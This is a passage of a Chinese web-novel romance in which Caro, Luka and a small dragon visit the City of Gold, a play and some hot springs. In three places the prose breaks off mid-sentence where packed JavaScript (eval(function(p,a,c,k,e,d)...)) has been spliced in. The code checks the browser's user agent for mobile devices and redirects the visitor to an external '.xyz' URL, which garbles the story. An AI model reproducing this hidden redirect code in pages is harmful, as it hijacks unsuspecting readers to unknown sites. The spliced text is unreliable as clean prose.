1000金，可以够三天的旅馆费用，赠送早餐的那种。 根本不需要犹豫了，我借了卢卡绑在腰间的匕首，确认一下月狼的牙齿健康。 “嗯，都是非常漂亮健康的牙齿呢。”九颗染着月色的牙齿被我排排坐似的摆放在地面。 头顶银色的魔力似雨般落下——是噤声卷轴的领域失效了。 把牙齿收进口袋，确认了下怀表。很好，只要再过二十分钟就可以叫醒卢卡交班了。 加了块木头送进火堆，火焰迅速吞没了它。 卢卡的呼吸声，小龙的呼噜声，木柴燃烧声，使这个唯有我清醒的夜晚蒙上了一层温馨的颜色。 很快，半小时到了。 我轻轻拍了拍卢卡：“卢卡，醒醒，该你守夜啦。” 他迷迷糊糊地睁开眼，翡翠般的眼睛染上了一层水汽：“卡萝？” 他像小狗似的蹭了蹭我的脑袋，嘟囔道：“我是最听话的小狗……” “是、是，你最听话啦。”我拍拍他的脑袋，“最听话的狗狗该起床了。” 卢卡被我推着直起身子，呆坐在原地好一会儿才完全清醒：“卡萝，睡吧。” “晚安——”我打了个哈欠便闭上了眼睛。 赶了一天的路程本就有些疲惫，还和魔物打了一架。感觉脑袋黏黏糊糊的，像会长大叔经常煮的蔬菜粥一样。 总觉得好像忽略了什么细节……是什么呢…… 一夜无梦，清晨简单洗漱，捡了两个林中的果子当作早餐后，我们又继续赶路。 在太阳完全高悬于空中前，我们抵达了黄金之城——的检验关卡。 就算我们起得够早了，但是前面仍然有很长的队伍。 攒动的人头和嘈杂的环境，让小龙嘤嘤直接把脑袋藏进了我的帽子里。 “请问，这边是通行证的检验队伍吗？”我礼貌地询问排在末尾的人。 对方红着眼睛，眼下青黑：“不是，通行证在那边，人比较少。这边是被驳回通行证资格但仍试图进城的资格核验处。” “冒昧问一下，您排了几天了？”看着对方一幅快要昏过去的样子，我放轻了声音。 “一天？不对，两天？啊，我也记不清了。” “……” 不知道该说什么安慰，但对方似乎毫不在意地转身紧贴着前面的队伍向前挪动了两步。 “……走吧。”我别过脸不再去看，拉着卢卡到了只有寥寥几人的队伍中。 和那边乌泱泱一片人的队伍不同，这边只要亮出通行证就可以顺利进城。 “艾瑞克大人，您已经成为A级冒险者了吗？真是太厉害了！”排在我们前面的一队人吵吵嚷嚷的。 “哼，小事罢了。不值一提。”名为艾瑞克的金发青年得意地后撩刘海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14550347|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，露出碧绿的眼睛，“这对我们奥利弗家来说是再正常不过的了。” 奥利弗？我记得是很有名的贵族，据说每逢冬季就会开放庄园，欢迎贫苦农民来此暂住。我对他们的印象还算不错，毕竟奥利弗家也是冒险者公会的投资者之一。 “您说得是！即使A级冒险者在全大陆都只有区区一万人，但那也是在数十万名冒险者中排在前列的！” ……这孩子真的是在恭维人吗？我怎么觉得反而在损这位艾瑞克·奥利弗？ 不过眼前的那位金发青年倒也没有生气，继续有一搭没一搭地和对方聊着天。 要说排在前列的话——我看了眼正在放空的卢卡，他眼神涣散，表情呆滞，怎么看都不像是S级冒险者。 “亲爱的，你在做什么~”声音娇俏，像是甜腻的蛋糕般。 我和卢卡同时望去，来人身穿一条简单的白色长裙，灰色的发丝打着卷随着她蹦蹦跳跳的动作上下摇晃。 那个女孩一把抱住艾瑞克的胳膊，撒娇道：“真是的，人家只是稍微离开了一会儿，怎么就有人来找亲爱的搭讪了。” 呃……恶寒……我感觉有一阵莫名的凉意爬上我的脊背。 卢卡似乎也不太适应地皱眉。 原因无他，这个女孩和我的声音太过相像了，像到仿佛是从我口中发出的声音。 “抱歉，罗莎。”刚刚还挺着胸膛得意的青年立马道歉，“因为这个人身上有眼熟的道具，我只是想打探下失踪的那名队员的消息。” 名叫罗莎的少女，立刻昂起脑袋朝着先前吹捧艾瑞克的人发问：“喂，我说你，把你知道的事情都说来听听！” 队伍已经排到他们了，但是三人没有一个打算先进城再交换情报。 “那个……你们如果需要交换情报的话，可以让我们先进去吗？”我上前打断他们的交谈，“你们已经在这挡了一会儿了……” 罗莎瞪大了圆润的眼睛看着我，又从上到下的扫视一遍，随后躲在艾瑞克身后不说话了。 应该是因为我的声音和她相似的原因吧。虽然长相不太一样。我是银色的长发，她是灰色的短发。罗莎小姐的眼睛圆润，是蜜糖的颜色。我的眼尾向下，是暗红色。 长相相似的话……艾瑞克和卢卡倒是很像。两人都是狗狗眼，发色瞳色相近。 艾瑞克伸手示意我们先走：“请。” “多谢。” 我们先行进入核验的屋子，但他们两人的眼神一直黏在后背。转头过去，他们又是若无其事的表情。 伪装得实在是太烂了，两位。 将通行证递给工作人员，他们扫了一眼就把证件退回。 继续向前，长长的走廊通向着黄金之城。 “那个艾瑞克和卢卡你长得有点像。”我把帽子里的小龙嘤嘤转移到腰间的背包里，防止待会进城后它被人顺势捞走。 卢卡摇摇头：“狗狗、是我，他，不行。” “不，我没有说这个……”我又不是见到一个金毛就想当狗狗养啊！ 29. 休假法则二十九 黄金之城，字如其名，是用黄金打造的城市。 城墙通体由黄金铸成，在日光下熠熠生辉。城内的街道也由黄金铺成，仅仅只是踏进入口就能感受到奢华的气息。 卢卡打着哈欠戳了戳我的肩：“卡萝，去哪？” “先去公会吧。”月狼的牙齿应该能换点钱，这样前三天就可以在周边逛逛。原本不打算去的黄金泉旅馆也有经费可以在那里住一晚上了。 我算了算账，发现经费充足到富余，甚至到该回去的时候还能用剩下的经费买些纪念品带回去给会长大叔。 黄金之城的冒险者公会也是金光闪闪十分气派的建筑。 “您好，请问需要什么帮助？”我的同行死气沉沉地抬眼，看上去毫无活力。 我平时应该不是这个样子吧……不是吧？ “有没有讨伐月狼的委托？” “月狼啊……有，请报上您的冒险者编号。” “啊，不，请当作公会内部的专员清剿任务。” 对方发觉我是同行后眼神亮了亮：“你是公会的？接待员？情报员？医师？” “是接待员……” “那真是太好了。”他很高兴地把单子往我手里一推，“既然是同行那你应该知道怎么填单子吧？就麻烦你自助啦。” 这位接待员先生喜滋滋地向我们身后的人招手：“来，下一个。” 我懂。如果在工作的时候遇到一个可以自己解决业务问题的客人，我也会十分兴奋以及果断地把工作推到对方头上的。 但是一旦客人的角色由我来扮演，我又不那么开心了。没有人想要在休假时加班。没有人。 好在公会内部的任务单没有很复杂，只要填写好职员编号以及任务编号就没问题了。 “给。”我把单子交给对方，等他检查。 接待员摆摆手：“你直接带走吧。” 踏出公会大门后，我忍不住吐槽：“这家伙工作一点也不认真啊。” 不像我，我对工作一直很认真的。 月狼的牙齿我打算等半个月后再来交付，不然一手接任务一手交单子容易被判为刷任务的。 这样子也可以节省点开支，给我们一种“钱要花光了”的错觉从而减少消费的欲望。等到时间差不多的时候再来领钱。 “去旅馆吧。”我拿起刚刚在公会里顺的城市地图，按照上面的路线左拐右拐又左拐，到达了这三天的住址。 “老板，一间房。”这是深思熟虑的结果。 如果会长大叔在那就是两间房，卢卡和大叔一间，我和嘤嘤一间。但是大叔不在，无论我们三个中的谁，单独一间房我都觉得非常浪费钱。 又没有冤大头给我们报销差旅费，当然要节省点，这样还能够多玩几个景点。 卢卡不知道在想什么，直到进了房间都一幅呆呆的表情。 “我看看……第一天就在旅馆周边看看，附近有黄金喷泉和黄金花园。明天去黄金博物馆和黄金卖场……后天去温泉旅馆……”有不少行程是在出发前就定好的，但是等来到这边后又觉得有些地方不去看一看就太可惜了。反正大部分都是免费的景点，不去白不去。 嘤嘤想去的黄金卖场和我想逛的博物馆都加进安排里了，就剩……“卢卡，你有想去的景点吗？” “呼——呼——”他靠在椅子上睡得正香。 “诶？不会吧……”我压低了声音，轻手轻脚过去看了看。这孩子真的睡着了。 这就有点难办了呢，如果不带卢卡出去玩的话他肯定会闹别扭。但是就这样浪费一天感觉也有些可惜。 “嘤嘤觉得呢？”给卢卡披了个毛毯，我蹲下来询问嘤嘤的意见，“摇尾巴就是出门，摇脑袋就是在旅馆。” 出门的话就是把第二天的行程提前到今天，毕竟卢卡对博物馆还有卖场都没什么兴趣。在旅馆的话——刚刚听老板说有一楼有演出活动，可以去那里打发时间。 嘤嘤抱着爪子歪头思考了一会儿，然后摇了摇头。 “好孩子好孩子。”我搓了搓它的脸，肉乎乎的手感很好，“那我们去一楼看演出吧。” “嘤！”它高兴地应了一声。 虽然是黄金之城，但也不可能每一个地方都用黄金搭建。像是我们所处的这座旅馆，也只有外部涂上了金漆，内部就是普通的土木。 一楼的大厅左侧有个半圆形的舞台，有穿着制服的员工在上面布置着装饰。 “是话剧啊。”我找了个位置抱着嘤嘤坐下，和它一起看了演出的传单，“《神女与蛇》？” 要说能够搬得上舞台的，大家都熟悉的，有关神女和蛇故事，恐怕就是命运神女与巨蛇乌提亚的故事了吧。 我还挺好奇最后会把故事改编成什么样呢。 帷幕逐渐被拉开，灯光的聚焦便是那位身着白衣纺织着“命运”的神女。而在光影交错处站立的则是她的宠物乌提亚。 扮演乌提亚的是位皮肤黝黑、身材高大的年轻男性。这也不能算是剧团在偷懒，如果真的找一条比人还高大的巨蛇，恐怕台下台上的所有人都能成为盘中餐。 “神女，人类又在进行战争了。”乌提亚单膝下跪，低头请示，“请允许我参战，中止这场战争。” 神女青葱的手指编织着命运，没有理会乌提亚的请求。 “神女，这样下去，他们都会死！” “乌提亚，我之前就说过，不要干涉命运的指引。” “可是，再这样下去……” “那是人类的选择。”神女清冷的声音回响在整个大厅，“他们曾向天祷告需要自由，我便给了他们选择的自由。人类的答案是走向毁灭还是生存，都不是我们应该去干涉的。” “啧。”我忍不住摇头。这个编剧是不是崇拜乌提亚啊，怎么把神女写成这种冷漠无情的人设。 争吵没能带来和平，乌提亚与神女的关系产生裂痕。它负气出走，为人类的一方而战，在牺牲更多人前赢了战争。 “哈哈哈，神女，你总说命运无法更改，但我救下了他们！救下了本该死去的人类！”兴冲冲赶回住所的乌提亚没能得到心爱之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566613|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的回应。 “神女？” 神女已然离开，只留下一封字条。 “我说过了，命运无法改变。”织机上断裂的一根根丝线象征着一个个人的逝去。 等到乌提亚赶回人类的世界，看到的便是干裂如枯骨的大地，枯草般摇曳的人群。 削瘦苍白的脸、凹陷的双颊、如黑洞般的眼睛。 那是原本应在战争中逝去的人类。 那是他提前结束战争获救的人类。 那是战败方的人类。 那是被当作奴隶的人类。 “不，不对，这不对……”乌提亚抱着头不可置信，“为什么，为什么没有改变呢？” 他来到战胜方的首领居所质问：“为什么那些人都死了？” “哈？那群奴隶？死了就死了，有什么好提的。” 无所谓的态度激怒了乌提亚，他红着眼杀光了所有人。 最后制止他的是神女，她仍然是那身白衣，一脸冷漠：“我说过了，命运无法改变。即便你扭转了轨迹也无法更改结局。” 帷幕拉上，掌声雷动。 我打了个哈欠，认为这个剧本十分偏向乌提亚。作为坚定的神女派，我看的很是别扭。 如果不联系到原型的话，这个剧本倒也有可圈可点的地方，体现了战争的残酷，人民的凄苦，表达了反战思想什么的。嗯，满分十分，给个五点五分吧，因为原型扣了三分。 回到房间时，卢卡正抱着毯子发呆。 “怎么了？今天一天都没什么精神的样子？”我摸了摸他的额头确认温度，“也没发烧啊……” “卡萝。”他垂着脑袋唤了我一声，“小狗、是我、对吧？” “嗯？说什么傻话呢……”你是人类啊！为什么那么执着当狗！虽然我是喜欢狗没错！但你是人类啊！ “只有、我、一个、对吧？”他拽着我的衣摆，固执地抬头盯着我要个回答。 这个嘛……我已经养了一个卢卡和一只嘤嘤了，目前也没有钱再养狗狗了，所以确实只有一个卢卡……不对，这家伙是人类！ “又怎么了？”我揉揉他的脑袋，软软的金发掠过我的手指，“做噩梦了？” 他摇摇头：“美梦。” “……是美梦的话，为什么一幅受到惊吓的样子……” 卢卡用他的方式描述了一遍梦境，总的来说就是，梦里的我和卢卡生活在一起，我真的养了只狗。 “诶？那大叔呢？” “隔壁。” 哦，大叔在梦里住在隔壁了啊……不，不对。 “你也说了是美梦吧？那我养狗狗应该属于‘美梦’的范畴？” “这里、噩梦。”卢卡非常严谨地把梦一分为二了，美好的部分是我和他每天黏在一起。噩梦的部分是我养了狗狗。 “狗狗、只有、我！”他非常坚定严肃地宣布了这件事，“卡萝、答应。” 好吧好吧，我无奈举手发誓：“我只会养卢卡一只狗狗。” “嗯！”他满意地笑了。 30. 休假法则三十 黄金之城的温泉旅馆以“黄金泉”闻名，由于矿石和魔力元素的影响，唯有那一池泉水能够保持黄金般闪耀的颜色。 今天依然选择开一间房省钱的我接过钥匙，朝又在发呆的卢卡招招手，领着他一起进房间。 “嘤嘤就拜托你了，它毕竟是雄性生物。”把还在嘤嘤叫的小龙塞到卢卡怀里，我就直往温泉的方向走。 “黄金泉”是混池，但我暂时不打算泡。比起“黄金泉”，我更好奇牛奶泉胡萝卜泉究竟是什么样子。如果大叔来了应该会想泡啤酒泉的吧。 清洗好身体，踏入水池。当肌肤和热水接触的那刻让人忍不住发出慰叹。 胡萝卜泉不仅池水是胡萝卜的颜色，有着香甜的胡萝卜气味，就连池子的形状和两边的雕塑都是胡萝卜。 “冰凉的胡萝卜来啦！”入口处的工作人员抱着一盆胡萝卜大喊。 同样泡在池水中的其他游客开始躁动了起来。 “据说在泡到身体发烫后吃冰凉的胡萝卜最舒适了。” “诶，真的吗？” “这里的胡萝卜可是新鲜的，早上刚刚拔出来的。洗干净放到冰窖里等到午后开放温泉了才会端上来！” 虽然大家躁动不安，但也还算有素质地停留在原地，等待工作人员来到身旁送上胡萝卜。 温泉内雾气氤氲，池水拍打着肌肤，空气中飘着胡萝卜的香甜。 接过冰冰凉凉的胡萝卜，那股凉意从指尖直抵心间，给原本红润的脸都降了温。胡萝卜的表面还覆着冰霜，一口咬下是脆生生的口感，但却十分多汁，橘色的水迹顺着手腕滑落进温泉。 “啊，抱歉。”我对把汁水滴落进泉水的事情感到抱歉。但是工作人员却笑着摆摆手：“没关系没关系，这样反而更好呢。” 听了她的话，我对于这个“胡萝卜温泉”究竟是怎么形成的有所了解了。不出意外的话，牛奶泉、啤酒泉也是差不多的状况吧。 ……总之，再泡半小时吧。 * “你再乱咬人我就要把你关在房间里了。”卢卡又一次在那只邪恶小龙合上嘴前救下自己的手。他点着小黑龙的脑袋，警告它老实点。 小黑龙在没有卡萝的时候和他根本无法和平共处，张牙舞爪地又要给他来上一口。 卢卡深吸一口气，用毛毯给它罩着脑袋，只留邪恶小龙一个在房间：“那你自己呆在这里吧，如果卡萝回来见到乱七八糟的房间，你可能不用等到明天就会被扔掉。” 看到原本在毛毯里乱拱的家伙顿住，甚至慢慢趴下，卢卡满意地点头出了门。 卡萝没说会去哪个池子，他只能选可能性最大的温泉，那个胡萝卜泉看上去就很像是她会去的。 跟着指示左拐右拐进了胡萝卜泉的大池，卢卡在门口发现了一个大问题——这个池子是分性别的！ 他不能跟着卡萝一起泡温泉了！ 开开心心的小金毛瞬间蔫了，柔顺的金发都快要黯淡了。 卢卡的肩膀被拍了拍，他转身，一个笑容灿烂的青年开口：“那个，你好，你是在等人吗？” “嗯……”也不算是等人吧，毕竟我是狗狗，此刻是一只悲伤地发现不能和主人一起泡温泉的伤心小狗罢了。 “我也在等人，或许我们可以聊聊天打发时间，你觉得怎么样？”对方提出建议后又小心翼翼地观察着卢卡的表情。 “……嗯。”卢卡想了想答应了。虽然不能和卡萝一起泡温泉，但是可以在卡萝出来的第一时刻看见她，也很好。 邻居家的小金在家里没人的时候就是一直望着院子的门口等着主人回家的。 在得到卢卡的回应后，那位青年高兴地提高音量：“我之前在门口就看见你和那位银发的少女一起进来了，你们是情侣吗？是来这里度假的吗？” “情侣？”卢卡重复了这个单词，声音有些讶异。 青年见他这样连忙道歉：“不好意思，原来不是吗？可能是我误会了……” “像吗？” “啊？” “像情侣吗？” “这个，我觉得挺像的……”青年见卢卡的表情没有什么波动就继续说了下去，“所以是……那种关系？” 那种关系，是哪种关系？卢卡不明所以地眨了眨眼睛，用清澈愚蠢的眼神和青年对望。 “呃……看来也不是……”青年挠挠头，“我想也是……毕竟你才刚刚成年不久的样子。”他小声碎碎念。 “所以你是在追她吗？啊，也有可能是那姑娘在追你……不，我觉得还是你追她的可能性比较大……”想到银发女孩像招小狗一样就把卢卡喊了过去，青年又暗自否定了第二个猜想。 卢卡仍然一幅迷茫不解的样子，他对这一方面的只是可谓是一窍不通。人际关系的处理都是他模仿着卡萝和欧文叔两人学来的，但是这两人又没有恋爱对象，所以他在恋爱这一领域的只是为零。 “啊，难道我又猜错了？”青年见他的表情不解，有些揣揣不安，“你不喜欢她？” “喜欢。”卢卡立刻作出反应。 像是有闪电划过，青年仿佛明白症结所在：“可恶……所以说是完全不懂吗……” 他双手搭着卢卡的肩晃了晃：“听好了，喜欢一个人就要认真地去表白！” “我有表白。”卢卡很认真地说，“我告诉她我想当她的狗，她答应了。” “砰——”听完卢卡的话，青年无力地将脑袋撞上了墙，“不，表白并不是这样的……” 在青年一大串知识灌输下，卢卡懵懵懂懂的心房似乎有所动摇：“必须说喜欢才算表白吗？” “知识点需要灵活运用，除了说喜欢还要加上希望你当我的恋爱对象，明白吗？” “嗯——” 青年扶额叹气：“别老想着当人小姑娘的狗了，做个人不好吗？” 卢卡摇头：“她更喜欢狗狗。” “……你这家伙真是……”有些心累地灌了一瓶水，青年捏着瓶身教育他，“你当狗确实能够吸引人家注意，但是就这样，没有了。在对方不想养狗了之后你就会被抛弃的。” “她才不会。”卢卡认真反驳。 “好的，不会抛弃一只狗狗。但是对方会想要有恋爱对象的吧，之后找到其他人谈恋爱后，你作为狗狗就会被冷落了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14578513|152832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “唔……”想到那种场景，卢卡觉得最近做的噩梦都不算什么了。 “而且表白后能够晋升为恋爱对象的话就能有更多的肢体接触了，你难道不想要更多的摸摸头和蹭蹭脸吗？”青年原本想说“亲吻”啦“拥抱”啦什么的，但是看到那双眼睛，他下意识地改口为这孩子或许会更喜欢的动作。 “唔嗯……”更多的蹭蹭脸和摸摸头……想要…… “恋爱对象还可以一整天都黏在一起。” “唔唔……”一整天都黏在一起……没有工作也没有邪恶小龙…… “还可以互相喂饭吃。” “嗯……”自从他学会自己用刀叉后，卡萝就没有投喂过东西给他吃了。 青年见说得差不多了，又提醒了一句：“当然了，也不能太过急躁冒进。如果女孩子没有想要谈恋爱的念头那还是老老实实地等着吧。” “哦……”卢卡应了一声，又皱着眉头开始思考。 原本只是想聊天的青年被迫上了一堂“恋爱知识讲座”，此刻有些疲惫：“总之，具体问题具体分析，如果你之后遇到不懂的问题可以来问我。” 他递上一张名片，金色的花纹和“奥利弗”的字样格外显眼。 “这张名片撕下一角就能变成信纸寄到我那边了，我收到信后会在信封里再塞一张名片的。”青年抬头看了眼钟表，“已经这个时间了，我先走了，下次见。” * 等我从温泉池子里出来，走出更衣室，看到的便是金色长发的青年挥着手和卢卡告别的场面。 我凑过去拍拍卢卡的肩：“是你的朋友吗？” 卢卡摇摇头，把名片递给我。 “埃文·奥利弗……啊，是那个大家族的人啊。他找你什么事吗？”难道是委托？还是挖角？ “聊天。”卢卡有些不确定地看了眼更衣室，又抬头看了看钟表，“他、等人。” “这样啊。”我翻了翻名片没看出有什么特别之处，把黑金色的卡片重新放回卢卡手里，“走吧，去黄金泉看看！” 感觉好像少了什么，但是不重要。进入黄金温泉的那刻，我觉着我的身心都被治愈了。 不愧是最受欢迎的温泉，不管是酸痛的肌肉还是疲惫的心神，都在热气弥漫的黄金泉水中随雾气一同消散了。 静静享受了片刻，我睁眼戳了戳旁边的卢卡：“怎么了？”早上呆呆的，这会儿又一幅若有所思的样子，是刚刚那位奥利弗家族的人说了什么吗？ 混池和分池不同，分池的大家基本都是裹着一条毛巾或是浴袍就可以舒舒服服地享受了，但是混池基本都是身着泳衣，不然被流水冲开衣服可就不太美妙了。 卢卡的肌肉紧绷着。我朝四周看了看，没有发现危险。 “卡萝，狗狗，还是，人？”卢卡纠结半天冒出了这个问题。 嗯？难道说他最终还是觉得做人更好吗？不，也有可能是陷阱题，这时候选错了可能就会被狗狗眼盯上一整周！ “我觉得狗狗更可爱吧，但如果是卢卡的话想做什么就做什么。”啊，想做蛇的话不行，不过他应该也不会想到那个地方吧……应该吧……